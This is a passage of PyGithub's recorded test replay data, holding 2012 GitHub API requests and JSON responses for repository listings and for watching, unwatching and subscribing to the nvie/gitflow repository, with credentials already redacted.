city","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/C4Planner.git","created_at":"2012-08-07T03:23:20Z","has_wiki":false,"watchers":0,"html_url":"https://github.com/jacquev6/C4Planner","size":4716,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-07-27T04:29:14Z","full_name":"jacquev6/C4Planner","name":"C4Planner","url":"https://api.github.com/repos/jacquev6/C4Planner","ssh_url":"git@github.com:jacquev6/C4Planner.git","git_url":"git://github.com/jacquev6/C4Planner.git","private":false,"id":2260441,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/C4Planner","svn_url":"https://github.com/jacquev6/C4Planner","pushed_at":"2011-11-27T20:51:06Z"},{"forks":0,"watchers_count":0,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146},"open_issues_count":0,"description":"","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/developer.github.com.git","created_at":null,"has_wiki":false,"watchers":0,"html_url":"https://github.com/jacquev6/developer.github.com","size":184,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-06-05T11:35:40Z","full_name":"jacquev6/developer.github.com","name":"developer.github.com","url":"https://api.github.com/repos/jacquev6/developer.github.com","ssh_url":"git@github.com:jacquev6/developer.github.com.git","git_url":"git://github.com/jacquev6/developer.github.com.git","private":false,"id":3361136,"mirror_url":null,"language":"Ruby","homepage":"","svn_url":"https://github.com/jacquev6/developer.github.com","pushed_at":"2012-06-05T11:35:40Z"},{"forks":16,"watchers_count":67,"has_downloads":true,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146},"open_issues_count":13,"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":true,"admin":true},"forks_count":16,"clone_url":"https://github.com/jacquev6/PyGithub.git","created_at":null,"has_wiki":false,"watchers":67,"html_url":"https://github.com/jacquev6/PyGithub","size":228,"fork":false,"open_issues":13,"has_issues":true,"updated_at":"2012-09-07T23:16:45Z","full_name":"jacquev6/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","git_url":"git://github.com/jacquev6/PyGithub.git","private":false,"id":3544490,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-09-07T23:16:45Z"},{"forks":0,"watchers_count":1,"has_downloads":true,"owner":{"gravatar_id":"b2e096f2c016d8dc168a3a5e6281b07a","login":"abersager","url":"https://api.github.com/users/abersager","avatar_url":"https://secure.gravatar.com/avatar/b2e096f2c016d8dc168a3a5e6281b07a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":1328351},"open_issues_count":0,"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/abersager/PyGithub.git","created_at":"2012-08-07T03:21:09Z","has_wiki":false,"watchers":1,"html_url":"https://github.com/abersager/PyGithub","size":112,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:19Z","full_name":"abersager/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/abersager/PyGithub","ssh_url":"git@github.com:abersager/PyGithub.git","git_url":"git://github.com/abersager/PyGithub.git","private":false,"id":3831162,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/abersager/PyGithub","pushed_at":"2012-03-26T10:05:31Z"},{"forks":0,"watchers_count":2,"has_downloads":true,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146},"open_issues_count":0,"description":"The Web framework for perfectionists with deadlines. Now on GitHub.","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/django.git","created_at":null,"has_wiki":false,"watchers":2,"html_url":"https://github.com/jacquev6/django","size":48476,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-06-09T10:37:50Z","full_name":"jacquev6/django","name":"django","url":"https://api.github.com/repos/jacquev6/django","ssh_url":"git@github.com:jacquev6/django.git","git_url":"git://github.com/jacquev6/django.git","private":false,"id":4166730,"mirror_url":null,"language":"Python","homepage":"http://www.djangoproject.com/","svn_url":"https://github.com/jacquev6/django","pushed_at":"2012-04-28T04:05:15Z"},{"forks":1,"watchers_count":1,"has_downloads":true,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146},"open_issues_count":5,"description":"Un outil pour ceux qui aiment voir plusieurs films le même jour","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/CinePlanning.git","created_at":"2012-08-07T03:23:19Z","has_wiki":false,"watchers":1,"html_url":"https://github.com/jacquev6/CinePlanning","size":240,"fork":false,"open_issues":5,"has_issues":true,"updated_at":"2012-06-17T05:55:59Z","full_name":"jacquev6/CinePlanning","name":"CinePlanning","url":"https://api.github.com/repos/jacquev6/CinePlanning","ssh_url":"git@github.com:jacquev6/CinePlanning.git","git_url":"git://github.com/jacquev6/CinePlanning.git","private":false,"id":4627544,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/CinePlanning","svn_url":"https://github.com/jacquev6/CinePlanning","pushed_at":"2012-06-17T05:55:58Z"},{"forks":0,"watchers_count":1,"has_downloads":true,"owner":{"gravatar_id":"3aa27c0add742f542848af3b8a9e980c","login":"pmuilu","url":"https://api.github.com/users/pmuilu","avatar_url":"https://secure.gravatar.com/avatar/3aa27c0add742f542848af3b8a9e980c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":691799},"open_issues_count":0,"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/pmuilu/PyGithub.git","created_at":"2012-08-07T03:21:41Z","has_wiki":false,"watchers":1,"html_url":"https://github.com/pmuilu/PyGithub","size":112,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:44Z","full_name":"pmuilu/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/pmuilu/PyGithub","ssh_url":"git@github.com:pmuilu/PyGithub.git","git_url":"git://github.com/pmuilu/PyGithub.git","private":false,"id":4716322,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/pmuilu/PyGithub","pushed_at":"2012-06-19T16:50:37Z"},{"forks":0,"watchers_count":1,"has_downloads":true,"owner":{"gravatar_id":"85203b21c562062e5641f0b8d4b98d9b","login":"herlo","url":"https://api.github.com/users/herlo","avatar_url":"https://secure.gravatar.com/avatar/85203b21c562062e5641f0b8d4b98d9b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":89334},"open_issues_count":0,"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/herlo/PyGithub.git","created_at":"2012-08-07T03:21:47Z","has_wiki":false,"watchers":1,"html_url":"https://github.com/herlo/PyGithub","size":164,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:47Z","full_name":"herlo/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/herlo/PyGithub","ssh_url":"git@github.com:herlo/PyGithub.git","git_url":"git://github.com/herlo/PyGithub.git","private":false,"id":4720987,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/herlo/PyGithub","pushed_at":"2012-06-13T10:57:26Z"},{"forks":0,"watchers_count":1,"has_downloads":true,"owner":{"gravatar_id":"3ceac58506711008b9e93ad31fcb0f45","login":"roverdotcom","url":"https://api.github.com/users/roverdotcom","avatar_url":"https://secure.gravatar.com/avatar/3ceac58506711008b9e93ad31fcb0f45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","id":1463288},"open_issues_count":0,"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/roverdotcom/PyGithub.git","created_at":"2012-08-07T03:21:50Z","has_wiki":false,"watchers":1,"html_url":"https://github.com/roverdotcom/PyGithub","size":116,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:51Z","full_name":"roverdotcom/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/roverdotcom/PyGithub","ssh_url":"git@github.com:roverdotcom/PyGithub.git","git_url":"git://github.com/roverdotcom/PyGithub.git","private":false,"id":4785693,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/roverdotcom/PyGithub","pushed_at":"2012-06-25T18:44:19Z"},{"forks":0,"watchers_count":0,"has_downloads":true,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146},"open_issues_count":2,"description":"HTML5 browsable IP map inspired by http://xkcd.com/195/","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/IpMap.git","created_at":null,"has_wiki":false,"watchers":0,"html_url":"https://github.com/jacquev6/IpMap","size":136,"fork":false,"open_issues":2,"has_issues":true,"updated_at":"2012-08-06T20:40:59Z","full_name":"jacquev6/IpMap","name":"IpMap","url":"https://api.github.com/repos/jacquev6/IpMap","ssh_url":"git@github.com:jacquev6/IpMap.git","git_url":"git://github.com/jacquev6/IpMap.git","private":true,"id":4835930,"mirror_url":null,"language":"JavaScript","homepage":"http://vincent-jacques.net/IpMap","svn_url":"https://github.com/jacquev6/IpMap","pushed_at":"2012-06-30T09:28:28Z"},{"forks":0,"watchers_count":1,"has_downloads":true,"owner":{"gravatar_id":"433a7fa3917a38691aa9914b61444875","login":"thouis","url":"https://api.github.com/users/thouis","avatar_url":"https://secure.gravatar.com/avatar/433a7fa3917a38691aa9914b61444875?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":473043},"open_issues_count":0,"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/thouis/PyGithub.git","created_at":"2012-08-07T03:21:53Z","has_wiki":false,"watchers":1,"html_url":"https://github.com/thouis/PyGithub","size":112,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:54Z","full_name":"thouis/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/thouis/PyGithub","ssh_url":"git@github.com:thouis/PyGithub.git","git_url":"git://github.com/thouis/PyGithub.git","private":false,"id":4957672,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/thouis/PyGithub","pushed_at":"2012-07-09T12:42:19Z"},{"forks":0,"watchers_count":1,"has_downloads":true,"owner":{"gravatar_id":"13a30f9924fa2bd918cbb8d06dd8b55a","login":"malexw","url":"https://api.github.com/users/malexw","avatar_url":"https://secure.gravatar.com/avatar/13a30f9924fa2bd918cbb8d06dd8b55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":577322},"open_issues_count":0,"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/malexw/PyGithub.git","created_at":"2012-08-07T03:21:56Z","has_wiki":false,"watchers":1,"html_url":"https://github.com/malexw/PyGithub","size":112,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:57Z","full_name":"malexw/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/malexw/PyGithub","ssh_url":"git@github.com:malexw/PyGithub.git","git_url":"git://github.com/malexw/PyGithub.git","private":false,"id":4992915,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/malexw/PyGithub","pushed_at":"2012-07-11T18:11:24Z"},{"forks":0,"watchers_count":1,"has_downloads":true,"owner":{"gravatar_id":"37a932b3abe212892173784736ed6b12","login":"engie","url":"https://api.github.com/users/engie","avatar_url":"https://secure.gravatar.com/avatar/37a932b3abe212892173784736ed6b12?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":1247},"open_issues_count":0,"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/engie/PyGithub.git","created_at":"2012-08-07T03:21:59Z","has_wiki":false,"watchers":1,"html_url":"https://github.com/engie/PyGithub","size":136,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:22:00Z","full_name":"engie/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/engie/PyGithub","ssh_url":"git@github.com:engie/PyGithub.git","git_url":"git://github.com/engie/PyGithub.git","private":false,"id":5153069,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/engie/PyGithub","pushed_at":"2012-07-23T16:42:58Z"},{"forks":0,"watchers_count":1,"has_downloads":true,"owner":{"gravatar_id":"ffcbd195c843b902fcdaa9986a2a0116","login":"oangeor","url":"https://api.github.com/users/oangeor","avatar_url":"https://secure.gravatar.com/avatar/ffcbd195c843b902fcdaa9986a2a0116?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":1707945},"open_issues_count":0,"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/oangeor/PyGithub.git","created_at":"2012-08-07T03:22:03Z","has_wiki":false,"watchers":1,"html_url":"https://github.com/oangeor/PyGithub","size":1292,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:22:04Z","full_name":"oangeor/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/oangeor/PyGithub","ssh_url":"git@github.com:oangeor/PyGithub.git","git_url":"git://github.com/oangeor/PyGithub.git","private":false,"id":5190054,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/oangeor/PyGithub","pushed_at":"2012-07-24T16:19:13Z"},{"forks":0,"watchers_count":1,"has_downloads":true,"owner":{"gravatar_id":"a62c07aeefe3d9cc2ba18861f7eeef7d","login":"alejo8591","url":"https://api.github.com/users/alejo8591","avatar_url":"https://secure.gravatar.com/avatar/a62c07aeefe3d9cc2ba18861f7eeef7d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":1151850},"open_issues_count":0,"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/alejo8591/PyGithub.git","created_at":"2012-08-07T03:22:07Z","has_wiki":false,"watchers":1,"html_url":"https://github.com/alejo8591/PyGithub","size":216,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-04T07:01:31Z","full_name":"alejo8591/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/alejo8591/PyGithub","ssh_url":"git@github.com:alejo8591/PyGithub.git","git_url":"git://github.com/alejo8591/PyGithub.git","private":false,"id":5293768,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/alejo8591/PyGithub","pushed_at":"2012-08-04T06:06:06Z"},{"forks":0,"watchers_count":0,"has_downloads":true,"owner":{"gravatar_id":"92a24b96be9d9ce5e608751cc0c95823","login":"jagster02","url":"https://api.github.com/users/jagster02","avatar_url":"https://secure.gravatar.com/avatar/92a24b96be9d9ce5e608751cc0c95823?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":1383412},"open_issues_count":0,"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/jagster02/PyGithub.git","created_at":"2012-08-09T13:55:23Z","has_wiki":false,"watchers":0,"html_url":"https://github.com/jagster02/PyGithub","size":216,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-07T23:29:19Z","full_name":"jagster02/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/jagster02/PyGithub","ssh_url":"git@github.com:jagster02/PyGithub.git","git_url":"git://github.com/jagster02/PyGithub.git","private":false,"id":5334906,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/jagster02/PyGithub","pushed_at":"2012-08-04T06:06:06Z"},{"forks":0,"watchers_count":0,"has_downloads":true,"owner":{"gravatar_id":"01f9109a647ef1dac0198da94d5dfc35","login":"cs2ctest","url":"https://api.github.com/users/cs2ctest","avatar_url":"https://secure.gravatar.com/avatar/01f9109a647ef1dac0198da94d5dfc35?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":2108297},"open_issues_count":0,"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/cs2ctest/PyGithub.git","created_at":"2012-08-09T19:56:03Z","has_wiki":false,"watchers":0,"html_url":"https://github.com/cs2ctest/PyGithub","size":216,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-09T09:00:55Z","full_name":"cs2ctest/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/cs2ctest/PyGithub","ssh_url":"git@github.com:cs2ctest/PyGithub.git","git_url":"git://github.com/cs2ctest/PyGithub.git","private":false,"id":5353371,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/cs2ctest/PyGithub","pushed_at":"2012-08-04T06:06:06Z"},{"forks":0,"watchers_count":0,"has_downloads":true,"owner":{"gravatar_id":"83fdd59f80118ac8e56fd6f732239190","login":"feiying","url":"https://api.github.com/users/feiying","avatar_url":"https://secure.gravatar.com/avatar/83fdd59f80118ac8e56fd6f732239190?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":1784180},"open_issues_count":0,"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/feiying/PyGithub.git","created_at":"2012-08-10T18:57:02Z","has_wiki":false,"watchers":0,"html_url":"https://github.com/feiying/PyGithub","size":216,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-10T04:51:27Z","full_name":"feiying/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/feiying/PyGithub","ssh_url":"git@github.com:feiying/PyGithub.git","git_url":"git://github.com/feiying/PyGithub.git","private":false,"id":5365056,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/feiying/PyGithub","pushed_at":"2012-08-04T06:06:06Z"},{"forks":0,"watchers_count":0,"has_downloads":true,"owner":{"gravatar_id":"13df3b204a5708ed557a07628ea00660","login":"tdcarrol","url":"https://api.github.com/users/tdcarrol","avatar_url":"https://secure.gravatar.com/avatar/13df3b204a5708ed557a07628ea00660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":435947},"open_issues_count":0,"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/tdcarrol/PyGithub.git","created_at":"2012-08-22T05:17:05Z","has_wiki":false,"watchers":0,"html_url":"https://github.com/tdcarrol/PyGithub","size":216,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-21T15:14:27Z","full_name":"tdcarrol/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/tdcarrol/PyGithub","ssh_url":"git@github.com:tdcarrol/PyGithub.git","git_url":"git://github.com/tdcarrol/PyGithub.git","private":false,"id":5496795,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/tdcarrol/PyGithub","pushed_at":"2012-08-04T06:06:06Z"},{"forks":0,"watchers_count":0,"has_downloads":true,"owner":{"gravatar_id":"ae8a2af3de601885a14bb71240e5d1a6","login":"xobb1t","url":"https://api.github.com/users/xobb1t","avatar_url":"https://secure.gravatar.com/avatar/ae8a2af3de601885a14bb71240e5d1a6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":344095},"open_issues_count":0,"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/xobb1t/PyGithub.git","created_at":"2012-09-03T15:31:32Z","has_wiki":false,"watchers":0,"html_url":"https://github.com/xobb1t/PyGithub","size":108,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-25T19:40:53Z","full_name":"xobb1t/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/xobb1t/PyGithub","ssh_url":"git@github.com:xobb1t/PyGithub.git","git_url":"git://github.com/xobb1t/PyGithub.git","private":false,"id":5554026,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/xobb1t/PyGithub","pushed_at":"2012-08-25T19:40:53Z"},{"forks":0,"watchers_count":0,"has_downloads":true,"owner":{"gravatar_id":"ad620f78a113948d4ded151e3025a3b3","login":"braincorp","url":"https://api.github.com/users/braincorp","avatar_url":"https://secure.gravatar.com/avatar/ad620f78a113948d4ded151e3025a3b3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","id":2085477},"open_issues_count":0,"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/braincorp/PyGithub.git","created_at":"2012-09-03T15:31:30Z","has_wiki":false,"watchers":0,"html_url":"https://github.com/braincorp/PyGithub","size":240,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-30T06:54:52Z","full_name":"braincorp/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/braincorp/PyGithub","ssh_url":"git@github.com:braincorp/PyGithub.git","git_url":"git://github.com/braincorp/PyGithub.git","private":false,"id":5611539,"mirror_url":null,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/braincorp/PyGithub","pushed_at":"2012-08-23T07:38:20Z"}] https GET api.github.com None /user/subscriptions?page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4942'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1221'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 31 Aug 2012 13:53:17 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="first", ; rel="prev"'), ('etag', '"c8db8e82d53b0c24d493ad0dd8413000"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 07 Sep 2012 23:53:23 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"8707d63a44f6cc04e58a655f3df3105c","login":"gregwjacobs","avatar_url":"https://secure.gravatar.com/avatar/8707d63a44f6cc04e58a655f3df3105c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/gregwjacobs","id":1749292},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/gregwjacobs/PyGithub.git","git_url":"git://github.com/gregwjacobs/PyGithub.git","created_at":"2012-09-03T15:31:27Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":240,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-31T13:53:17Z","full_name":"gregwjacobs/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/gregwjacobs/PyGithub","mirror_url":null,"ssh_url":"git@github.com:gregwjacobs/PyGithub.git","html_url":"https://github.com/gregwjacobs/PyGithub","private":false,"id":5629305,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/gregwjacobs/PyGithub","pushed_at":"2012-08-23T07:38:20Z"}] https GET api.github.com None /user/subscriptions/nvie/gitflow {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4941'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:53:23 GMT')] https DELETE api.github.com None /user/subscriptions/nvie/gitflow {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4940'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:53:24 GMT')] https GET api.github.com None /user/subscriptions/nvie/gitflow {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('content-length', '23'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4939'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:53:24 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} https PUT api.github.com None /user/subscriptions/nvie/gitflow {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4938'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:53:25 GMT')] https GET api.github.com None /user/subscriptions/nvie/gitflow {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4937'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:53:25 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testWatching.txt0000644000175100001660000012466514756101563025021 0ustar00runnerdockerhttps GET api.github.com None /users/nvie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '598'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"49141c081e970afc1fbe7f1e260f2fe4"'), ('date', 'Tue, 22 May 2012 17:15:03 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","url":"https://api.github.com/users/nvie","public_repos":62,"hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","company":"3rd Cloud","bio":null,"login":"nvie","email":"vincent@3rdcloud.com","public_gists":17,"name":"Vincent Driessen","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","html_url":"https://github.com/nvie","created_at":"2009-05-12T21:19:38Z","location":"Netherlands","id":83844,"followers":298,"following":41,"blog":"http://nvie.com"} https GET api.github.com None /repos/nvie/gitflow {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '1155'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"856c234079ab76fe64e7b99c1f4802fb"'), ('date', 'Tue, 22 May 2012 17:15:04 GMT'), ('content-type', 'application/json; charset=utf-8')] 